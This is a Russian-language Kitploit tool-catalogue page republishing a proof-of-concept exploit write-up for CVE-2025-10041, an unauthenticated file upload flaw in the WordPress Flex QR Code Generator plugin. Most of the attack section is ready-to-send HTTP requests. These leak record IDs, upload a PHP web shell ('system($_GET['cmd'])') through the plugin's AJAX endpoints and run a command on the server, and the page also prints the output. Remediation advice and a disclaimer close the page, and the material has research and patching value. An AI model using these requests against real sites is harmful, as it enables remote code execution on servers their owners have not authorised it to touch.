Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
WordPress-Flex-QR-Code-Generator---CVE-2025-10041 — Технический анализ и proof-of-concept эксплойт для CVE-2025-10041 — неаутентифицированная произвольная загрузка файлов, приводящая к удалённому выполнению кода в плагине WordPress Flex QR Code Generator. | Kitploit
Инструменты/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

Технический анализ и proof-of-concept эксплойт для CVE-2025-10041 — неаутентифицированная произвольная загрузка файлов, приводящая к удалённому выполнению кода в плагине WordPress Flex QR Code Generator.

Репозиторий
10 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-10041: Анализ уязвимости произвольной загрузки файлов в плагине Flex QR Code Generator


一、Обзор уязвимости

  • Название плагина: Flex QR Code Generator
  • Затронутые версии: ≤ 1.2.5 (все версии)
  • Тип уязвимости: Произвольная загрузка файлов → Удалённое выполнение кода (RCE)
  • Условия эксплуатации: Без аутентификации, неавторизованный доступ
  • Основная причина: Функция загрузки файлов не проверяет расширение или MIME-тип, а интерфейс доступен неаутентифицированным пользователям.

二、Воспроизведение уязвимости

  • No1 Утечка информации + реализация RCE через хук обновления:

1. Обзор цепочки атак

root@kitploit:~
Неавторизованное получение ID → Вызов интерфейса обновления для загрузки PHP-файла → Доступ к веб-шеллу → RCE

2. Шаг 1: Получение ID через утечку информации

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

В ответе можно получить действительный id (например, 9) и путь logo_url.

root@kitploit:~
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. Шаг 2: Загрузка веб-шелла через обновление

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ Ответ success: true означает успешную загрузку.

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. Шаг 3: Доступ к тестовому файлу

Формат пути к файлу: {original_name}_{id}.php

root@kitploit:~
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

Сервер возвращает содержимое файла

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • No2 Неавторизованная загрузка файлов + реализация RCE:

1. Обзор цепочки атак

root@kitploit:~
Неавторизованный доступ к интерфейсу для загрузки вредоносного файла → Доступ к веб-шеллу → RCE

2. Шаг 1: Загрузка вредоносного файла через интерфейс

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

В ответе можно получить действительный id (например, 10) и результат success

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. Шаг 3: Доступ к WEBSHELL для выполнения команд

root@kitploit:~
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ Сервер возвращает результат выполнения команды, RCE успешен.

root@kitploit:~
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

三、Принцип уязвимости

1. Уязвимые функции

  • Файл: flex-qr-code-generator/qr-code-generator.php
  • Функции: save_qr_code_to_db() и update_qr_code()

2. Ключевые недостатки

  • Проверяется только $_FILES['logo']['error'] === UPLOAD_ERR_OK
  • Не проверяется расширение файла или MIME-тип
  • Имя файла контролируемо: {original_name}_{id}.ext, где id — автоинкрементный первичный ключ

3. Неавторизованный вызов

Зарегистрировано через хук wp_ajax_nopriv_, интерфейс доступен неавторизованным пользователям:

root@kitploit:~
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv означает «без требований к правам», атакующий может вызвать без входа в систему.


四、Рекомендации по исправлению

МераОписание
✅ Контроль правУдалить хук nopriv, разрешить вызов только администраторам
✅ Проверка типа файлаОграничить расширения белым списком (например, jpg/png/gif)
✅ Запрет выполнения PHPЗапретить выполнение PHP в uploads/.htaccess
✅ Переименование файловИспользовать случайные имена файлов, чтобы избежать угадывания
✅ Обновление плагинаСледить за официальными обновлениями и своевременно обновляться

Отказ от ответственности

Данная статья предназначена исключительно для целей исследования безопасности и обучения. Запрещается несанкционированное тестирование на проникновение или атакующие действия. Пользователи обязаны соблюдать соответствующие законы и нормативные акты.

Скачать инструмент